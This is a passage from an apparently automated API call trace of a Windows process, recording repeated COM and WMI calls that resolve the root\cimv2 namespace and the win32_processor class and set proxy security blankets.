WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x1 [0127.076] CoGetContextToken (in: pToken=0x1de610 | out: pToken=0x1de610) returned 0x0 [0127.076] CoGetContextToken (in: pToken=0x1de5d0 | out: pToken=0x1de5d0) returned 0x0 [0127.076] WbemDefPath:IUnknown:AddRef (This=0x506fd10) returned 0x2 [0127.076] WbemDefPath:IUnknown:QueryInterface (in: This=0x506fd10, riid=0x1de64c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de648 | out: ppvObject=0x1de648*=0x506fd10) returned 0x0 [0127.076] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x2 [0127.076] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x506fd10, puCount=0x1de7c4 | out: puCount=0x1de7c4*=0x0) returned 0x0 [0127.076] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x1 [0127.076] CoGetContextToken (in: pToken=0x1de600 | out: pToken=0x1de600) returned 0x0 [0127.076] CoGetContextToken (in: pToken=0x1de5c0 | out: pToken=0x1de5c0) returned 0x0 [0127.076] WbemDefPath:IUnknown:AddRef (This=0x506fd10) returned 0x2 [0127.076] WbemDefPath:IUnknown:QueryInterface (in: This=0x506fd10, riid=0x1de63c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de638 | out: ppvObject=0x1de638*=0x506fd10) returned 0x0 [0127.076] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x2 [0127.076] WbemDefPath:IWbemPath:GetText (in: This=0x506fd10, lFlags=2, puBuffLength=0x1de7c0*=0x0, pszText=0x0 | out: puBuffLength=0x1de7c0*=0x10, pszText=0x0) returned 0x0 [0127.077] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x1 [0127.077] CoGetContextToken (in: pToken=0x1de600 | out: pToken=0x1de600) returned 0x0 [0127.077] CoGetContextToken (in: pToken=0x1de5c0 | out: pToken=0x1de5c0) returned 0x0 [0127.077] WbemDefPath:IUnknown:AddRef (This=0x506fd10) returned 0x2 [0127.077] WbemDefPath:IUnknown:QueryInterface (in: This=0x506fd10, riid=0x1de63c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de638 | out: ppvObject=0x1de638*=0x506fd10) returned 0x0 [0127.077] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x2 [0127.077] WbemDefPath:IWbemPath:GetText (in: This=0x506fd10, lFlags=2, puBuffLength=0x1de7c0*=0x10, pszText="000000000000000" | out: puBuffLength=0x1de7c0*=0x10, pszText="win32_processor") returned 0x0 [0127.077] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x1 [0127.077] CoGetContextToken (in: pToken=0x1de610 | out: pToken=0x1de610) returned 0x0 [0127.077] CoGetContextToken (in: pToken=0x1de5d0 | out: pToken=0x1de5d0) returned 0x0 [0127.077] WbemDefPath:IUnknown:AddRef (This=0x506fd10) returned 0x2 [0127.077] WbemDefPath:IUnknown:QueryInterface (in: This=0x506fd10, riid=0x1de64c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de648 | out: ppvObject=0x1de648*=0x506fd10) returned 0x0 [0127.077] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x2 [0127.077] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x506fd10, puCount=0x1de7c4 | out: puCount=0x1de7c4*=0x0) returned 0x0 [0127.077] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x1 [0127.078] CoGetContextToken (in: pToken=0x1de600 | out: pToken=0x1de600) returned 0x0 [0127.078] CoGetContextToken (in: pToken=0x1de5c0 | out: pToken=0x1de5c0) returned 0x0 [0127.078] WbemDefPath:IUnknown:AddRef (This=0x506fd10) returned 0x2 [0127.078] WbemDefPath:IUnknown:QueryInterface (in: This=0x506fd10, riid=0x1de63c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de638 | out: ppvObject=0x1de638*=0x506fd10) returned 0x0 [0127.078] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x2 [0127.078] WbemDefPath:IWbemPath:GetText (in: This=0x506fd10, lFlags=2, puBuffLength=0x1de7c0*=0x0, pszText=0x0 | out: puBuffLength=0x1de7c0*=0x10, pszText=0x0) returned 0x0 [0127.078] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x1 [0127.078] CoGetContextToken (in: pToken=0x1de600 | out: pToken=0x1de600) returned 0x0 [0127.078] CoGetContextToken (in: pToken=0x1de5c0 | out: pToken=0x1de5c0) returned 0x0 [0127.078] WbemDefPath:IUnknown:AddRef (This=0x506fd10) returned 0x2 [0127.078] WbemDefPath:IUnknown:QueryInterface (in: This=0x506fd10, riid=0x1de63c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de638 | out: ppvObject=0x1de638*=0x506fd10) returned 0x0 [0127.078] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x2 [0127.078] WbemDefPath:IWbemPath:GetText (in: This=0x506fd10, lFlags=2, puBuffLength=0x1de7c0*=0x10, pszText="000000000000000" | out: puBuffLength=0x1de7c0*=0x10, pszText="win32_processor") returned 0x0 [0127.078] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x1 [0127.079] CoGetContextToken (in: pToken=0x1de5a4 | out: pToken=0x1de5a4) returned 0x0 [0127.079] CoGetContextToken (in: pToken=0x1de564 | out: pToken=0x1de564) returned 0x0 [0127.079] WbemDefPath:IUnknown:AddRef (This=0x506fd10) returned 0x2 [0127.079] WbemDefPath:IUnknown:QueryInterface (in: This=0x506fd10, riid=0x1de5e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de5dc | out: ppvObject=0x1de5dc*=0x506fd10) returned 0x0 [0127.079] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x2 [0127.079] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x506fd10, puCount=0x1de758 | out: puCount=0x1de758*=0x0) returned 0x0 [0127.079] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x1 [0127.080] CoGetContextToken (in: pToken=0x1de590 | out: pToken=0x1de590) returned 0x0 [0127.080] CoGetContextToken (in: pToken=0x1de550 | out: pToken=0x1de550) returned 0x0 [0127.080] WbemDefPath:IUnknown:AddRef (This=0x506fda8) returned 0x2 [0127.080] WbemDefPath:IUnknown:QueryInterface (in: This=0x506fda8, riid=0x1de5cc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de5c8 | out: ppvObject=0x1de5c8*=0x506fda8) returned 0x0 [0127.080] WbemDefPath:IUnknown:Release (This=0x506fda8) returned 0x2 [0127.080] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x506fda8, puCount=0x1de744 | out: puCount=0x1de744*=0x2) returned 0x0 [0127.080] WbemDefPath:IUnknown:Release (This=0x506fda8) returned 0x1 [0127.080] CoGetContextToken (in: pToken=0x1de580 | out: pToken=0x1de580) returned 0x0 [0127.080] CoGetContextToken (in: pToken=0x1de540 | out: pToken=0x1de540) returned 0x0 [0127.080] WbemDefPath:IUnknown:AddRef (This=0x506fda8) returned 0x2 [0127.080] WbemDefPath:IUnknown:QueryInterface (in: This=0x506fda8, riid=0x1de5bc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de5b8 | out: ppvObject=0x1de5b8*=0x506fda8) returned 0x0 [0127.081] WbemDefPath:IUnknown:Release (This=0x506fda8) returned 0x2 [0127.081] WbemDefPath:IWbemPath:GetText (in: This=0x506fda8, lFlags=4, puBuffLength=0x1de740*=0x0, pszText=0x0 | out: puBuffLength=0x1de740*=0xf, pszText=0x0) returned 0x0 [0127.081] WbemDefPath:IUnknown:Release (This=0x506fda8) returned 0x1 [0127.081] CoGetContextToken (in: pToken=0x1de580 | out: pToken=0x1de580) returned 0x0 [0127.081] CoGetContextToken (in: pToken=0x1de540 | out: pToken=0x1de540) returned 0x0 [0127.081] WbemDefPath:IUnknown:AddRef (This=0x506fda8) returned 0x2 [0127.081] WbemDefPath:IUnknown:QueryInterface (in: This=0x506fda8, riid=0x1de5bc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de5b8 | out: ppvObject=0x1de5b8*=0x506fda8) returned 0x0 [0127.081] WbemDefPath:IUnknown:Release (This=0x506fda8) returned 0x2 [0127.081] WbemDefPath:IWbemPath:GetText (in: This=0x506fda8, lFlags=4, puBuffLength=0x1de740*=0xf, pszText="00000000000000" | out: puBuffLength=0x1de740*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.081] WbemDefPath:IUnknown:Release (This=0x506fda8) returned 0x1 [0127.082] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2c0 [0127.082] GetLastError () returned 0x0 [0127.082] SetEvent (hEvent=0x284) returned 1 [0127.082] GetLastError () returned 0x0 [0127.082] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1de6a8*=0x2c0, lpdwindex=0x1de460 | out: lpdwindex=0x1de460) returned 0x0 [0127.084] CoGetContextToken (in: pToken=0x1de4f8 | out: pToken=0x1de4f8) returned 0x0 [0127.084] CoGetContextToken (in: pToken=0x1de4b8 | out: pToken=0x1de4b8) returned 0x0 [0127.084] WbemDefPath:IUnknown:AddRef (This=0x506daa8) returned 0x2 [0127.084] WbemDefPath:IUnknown:QueryInterface (in: This=0x506daa8, riid=0x1de534*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de530 | out: ppvObject=0x1de530*=0x506daa8) returned 0x0 [0127.084] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x2 [0127.084] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x1 [0127.084] CoGetContextToken (in: pToken=0x1de578 | out: pToken=0x1de578) returned 0x0 [0127.084] CoGetContextToken (in: pToken=0x1de538 | out: pToken=0x1de538) returned 0x0 [0127.084] WbemDefPath:IUnknown:AddRef (This=0x506daa8) returned 0x2 [0127.084] WbemDefPath:IUnknown:QueryInterface (in: This=0x506daa8, riid=0x1de5b4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de5b0 | out: ppvObject=0x1de5b0*=0x506daa8) returned 0x0 [0127.084] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x2 [0127.085] WbemDefPath:IWbemPath:SetText (This=0x506daa8, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0127.085] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x1 [0127.085] CoGetContextToken (in: pToken=0x1de568 | out: pToken=0x1de568) returned 0x0 [0127.085] CoGetContextToken (in: pToken=0x1de528 | out: pToken=0x1de528) returned 0x0 [0127.085] WbemDefPath:IUnknown:AddRef (This=0x506daa8) returned 0x2 [0127.085] WbemDefPath:IUnknown:QueryInterface (in: This=0x506daa8, riid=0x1de5a4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de5a0 | out: ppvObject=0x1de5a0*=0x506daa8) returned 0x0 [0127.085] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x2 [0127.085] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x506daa8, puCount=0x1de71c | out: puCount=0x1de71c*=0x2) returned 0x0 [0127.085] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x1 [0127.085] CoGetContextToken (in: pToken=0x1de558 | out: pToken=0x1de558) returned 0x0 [0127.085] CoGetContextToken (in: pToken=0x1de518 | out: pToken=0x1de518) returned 0x0 [0127.085] WbemDefPath:IUnknown:AddRef (This=0x506daa8) returned 0x2 [0127.085] WbemDefPath:IUnknown:QueryInterface (in: This=0x506daa8, riid=0x1de594*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de590 | out: ppvObject=0x1de590*=0x506daa8) returned 0x0 [0127.085] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x2 [0127.085] WbemDefPath:IWbemPath:GetText (in: This=0x506daa8, lFlags=4, puBuffLength=0x1de718*=0x0, pszText=0x0 | out: puBuffLength=0x1de718*=0xf, pszText=0x0) returned 0x0 [0127.085] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x1 [0127.085] CoGetContextToken (in: pToken=0x1de558 | out: pToken=0x1de558) returned 0x0 [0127.085] CoGetContextToken (in: pToken=0x1de518 | out: pToken=0x1de518) returned 0x0 [0127.086] WbemDefPath:IUnknown:AddRef (This=0x506daa8) returned 0x2 [0127.086] WbemDefPath:IUnknown:QueryInterface (in: This=0x506daa8, riid=0x1de594*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de590 | out: ppvObject=0x1de590*=0x506daa8) returned 0x0 [0127.086] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x2 [0127.086] WbemDefPath:IWbemPath:GetText (in: This=0x506daa8, lFlags=4, puBuffLength=0x1de718*=0xf, pszText="00000000000000" | out: puBuffLength=0x1de718*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.086] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x1 [0127.101] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1de618*=0x2d4, lpdwindex=0x1de474 | out: lpdwindex=0x1de474) returned 0x0 [0127.306] CoGetContextToken (in: pToken=0x1de69c | out: pToken=0x1de69c) returned 0x0 [0127.306] CoGetContextToken (in: pToken=0x1de648 | out: pToken=0x1de648) returned 0x0 [0127.306] IUnknown:QueryInterface (in: This=0x879540, riid=0x74bcbeb4*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de61c | out: ppvObject=0x1de61c*=0x879550) returned 0x0 [0127.307] CObjectContext::ContextCallback () returned 0x0 [0127.313] IUnknown:Release (This=0x879550) returned 0x1 [0127.313] CoUnmarshalInterface (in: pStm=0x8d02d0, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1de6a0 | out: ppv=0x1de6a0*=0x8d56ec) returned 0x0 [0127.314] CoMarshalInterface (pStm=0x8d02d0, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x8d56ec, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0127.314] WbemLocator:IUnknown:QueryInterface (in: This=0x8d56ec, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de2c0 | out: ppvObject=0x1de2c0*=0x8d56ec) returned 0x0 [0127.314] WbemLocator:IUnknown:QueryInterface (in: This=0x8d56ec, riid=0x74b34204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1de27c | out: ppvObject=0x1de27c*=0x0) returned 0x80004002 [0127.314] WbemLocator:IUnknown:QueryInterface (in: This=0x8d56ec, riid=0x74a60b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1de170 | out: ppvObject=0x1de170*=0x0) returned 0x80004002 [0127.315] WbemLocator:IUnknown:AddRef (This=0x8d56ec) returned 0x3 [0127.315] CoGetContextToken (in: pToken=0x1de108 | out: pToken=0x1de108) returned 0x0 [0127.315] CoGetContextToken (in: pToken=0x1de0cc | out: pToken=0x1de0cc) returned 0x0 [0127.315] IUnknown:QueryInterface (in: This=0x8793d0, riid=0x74b33ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de100 | out: ppvObject=0x1de100*=0x8793dc) returned 0x0 [0127.315] IComThreadingInfo:GetCurrentApartmentType (in: This=0x8793dc, pAptType=0x1de130 | out: pAptType=0x1de130*=3) returned 0x0 [0127.315] IUnknown:Release (This=0x8793dc) returned 0x1 [0127.315] WbemLocator:IUnknown:QueryInterface (in: This=0x8d56ec, riid=0x74a123cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de0f0 | out: ppvObject=0x1de0f0*=0x8d564c) returned 0x0 [0127.315] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x8d564c, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1de0f8 | out: pCid=0x1de0f8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.315] WbemLocator:IUnknown:Release (This=0x8d564c) returned 0x3 [0127.316] CoGetContextToken (in: pToken=0x1de100 | out: pToken=0x1de100) returned 0x0 [0127.316] WbemLocator:IUnknown:AddRef (This=0x8d56ec) returned 0x4 [0127.316] WbemLocator:IUnknown:QueryInterface (in: This=0x8d56ec, riid=0x74a6767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de174 | out: ppvObject=0x1de174*=0x8d56d4) returned 0x0 [0127.316] WbemLocator:IUnknown:Release (This=0x8d56ec) returned 0x4 [0127.316] WbemLocator:IRpcOptions:Query (in: This=0x8d56d4, pPrx=0x8d56ec, dwProperty=2, pdwValue=0x1de198 | out: pdwValue=0x1de198) returned 0x0 [0127.316] WbemLocator:IUnknown:Release (This=0x8d56d4) returned 0x3 [0127.316] WbemLocator:IUnknown:Release (This=0x8d56ec) returned 0x2 [0127.316] WbemLocator:IUnknown:Release (This=0x8d56ec) returned 0x1 [0127.316] CoGetContextToken (in: pToken=0x1de15c | out: pToken=0x1de15c) returned 0x0 [0127.316] WbemLocator:IUnknown:AddRef (This=0x8d56ec) returned 0x2 [0127.317] WbemLocator:IUnknown:QueryInterface (in: This=0x8d56ec, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de400 | out: ppvObject=0x1de400*=0x8d56cc) returned 0x0 [0127.317] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x8d56cc, pProxy=0x8d56ec, pAuthnSvc=0x1de448, pAuthzSvc=0x1de444, pServerPrincName=0x1de454, pAuthnLevel=0x1de44c, pImpLevel=0x1de438, pAuthInfo=0x1de43c, pCapabilites=0x1de440 | out: pAuthnSvc=0x1de448*=0xa, pAuthzSvc=0x1de444*=0x0, pServerPrincName=0x1de454, pAuthnLevel=0x1de44c*=0x6, pImpLevel=0x1de438*=0x2, pAuthInfo=0x1de43c, pCapabilites=0x1de440*=0x1) returned 0x0 [0127.317] WbemLocator:IUnknown:Release (This=0x8d56cc) returned 0x2 [0127.317] WbemLocator:IUnknown:QueryInterface (in: This=0x8d56ec, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de3f4 | out: ppvObject=0x1de3f4*=0x8d56ec) returned 0x0 [0127.317] WbemLocator:IUnknown:QueryInterface (in: This=0x8d56ec, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de3f0 | out: ppvObject=0x1de3f0*=0x8d56cc) returned 0x0 [0127.317] WbemLocator:IClientSecurity:SetBlanket (This=0x8d56cc, pProxy=0x8d56ec, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0127.317] WbemLocator:IUnknown:Release (This=0x8d56cc) returned 0x3 [0127.317] WbemLocator:IUnknown:Release (This=0x8d56ec) returned 0x2 [0127.317] CoTaskMemFree (pv=0x8a4af8) [0127.317] WbemLocator:IUnknown:Release (This=0x8d56ec) returned 0x1 [0127.323] SysStringLen (param_1=0x0) returned 0x0 [0127.324] GetLastError () returned 0x7e [0127.324] CoGetContextToken (in: pToken=0x1de57c | out: pToken=0x1de57c) returned 0x0 [0127.324] CoGetContextToken (in: pToken=0x1de53c | out: pToken=0x1de53c) returned 0x0 [0127.324] WbemLocator:IUnknown:AddRef (This=0x8d56ec) returned 0x2 [0127.324] WbemLocator:IUnknown:QueryInterface (in: This=0x8d56ec, riid=0x1de5b8*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1de5b4 | out: ppvObject=0x1de5b4*=0x506dc84) returned 0x0 [0127.326] WbemLocator:IUnknown:Release (This=0x8d56ec) returned 0x2 [0127.326] WbemLocator:IUnknown:Release (This=0x506dc84) returned 0x1 [0127.326] CoGetContextToken (in: pToken=0x1de110 | out: pToken=0x1de110) returned 0x0 [0127.326] CoGetContextToken (in: pToken=0x1de0d0 | out: pToken=0x1de0d0) returned 0x0 [0127.326] WbemLocator:IUnknown:AddRef (This=0x8d56ec) returned 0x2 [0127.326] WbemLocator:IUnknown:QueryInterface (in: This=0x8d56ec, riid=0x1de14c*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1de148 | out: ppvObject=0x1de148*=0x506dc84) returned 0x0 [0127.326] WbemLocator:IUnknown:Release (This=0x8d56ec) returned 0x2 [0127.326] WbemLocator:IUnknown:AddRef (This=0x506dc84) returned 0x3 [0127.326] WbemLocator:IUnknown:QueryInterface (in: This=0x506dc84, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de400 | out: ppvObject=0x1de400*=0x8d56cc) returned 0x0 [0127.327] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x8d56cc, pProxy=0x506dc84, pAuthnSvc=0x1de448, pAuthzSvc=0x1de444, pServerPrincName=0x1de454, pAuthnLevel=0x1de44c, pImpLevel=0x1de438, pAuthInfo=0x1de43c, pCapabilites=0x1de440 | out: pAuthnSvc=0x1de448*=0xa, pAuthzSvc=0x1de444*=0x0, pServerPrincName=0x1de454, pAuthnLevel=0x1de44c*=0x6, pImpLevel=0x1de438*=0x2, pAuthInfo=0x1de43c, pCapabilites=0x1de440*=0x1) returned 0x0 [0127.327] WbemLocator:IUnknown:Release (This=0x8d56cc) returned 0x3 [0127.327] WbemLocator:IUnknown:QueryInterface (in: This=0x506dc84, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de3f4 | out: ppvObject=0x1de3f4*=0x8d56ec) returned 0x0 [0127.327] WbemLocator:IUnknown:QueryInterface (in: This=0x506dc84, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de3f0 | out: ppvObject=0x1de3f0*=0x8d56cc) returned 0x0 [0127.327] WbemLocator:IClientSecurity:SetBlanket (This=0x8d56cc, pProxy=0x506dc84, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0127.327] WbemLocator:IUnknown:Release (This=0x8d56cc) returned 0x4 [0127.327] WbemLocator:IUnknown:Release (This=0x8d56ec) returned 0x3 [0127.327] CoTaskMemFree (pv=0x8a4c48) [0127.327] WbemLocator:IUnknown:Release (This=0x506dc84) returned 0x2 [0127.327] SysStringLen (param_1=0x0) returned 0x0 [0127.327] GetLastError () returned 0x0 [0127.327] CoGetContextToken (in: pToken=0x1de580 | out: pToken=0x1de580) returned 0x0 [0127.328] CoGetContextToken (in: pToken=0x1de540 | out: pToken=0x1de540) returned 0x0 [0127.328] WbemDefPath:IUnknown:AddRef (This=0x506daa8) returned 0x3 [0127.328] WbemDefPath:IUnknown:QueryInterface (in: This=0x506daa8, riid=0x1de5bc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de5b8 | out: ppvObject=0x1de5b8*=0x506daa8) returned 0x0 [0127.328] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x3 [0127.328] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x506daa8, puCount=0x1de734 | out: puCount=0x1de734*=0x2) returned 0x0 [0127.328] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x2 [0127.328] CoGetContextToken (in: pToken=0x1de570 | out: pToken=0x1de570) returned 0x0 [0127.328] CoGetContextToken (in: pToken=0x1de530 | out: pToken=0x1de530) returned 0x0 [0127.328] WbemDefPath:IUnknown:AddRef (This=0x506daa8) returned 0x3 [0127.328] WbemDefPath:IUnknown:QueryInterface (in: This=0x506daa8, riid=0x1de5ac*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de5a8 | out: ppvObject=0x1de5a8*=0x506daa8) returned 0x0 [0127.328] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x3 [0127.328] WbemDefPath:IWbemPath:GetText (in: This=0x506daa8, lFlags=4, 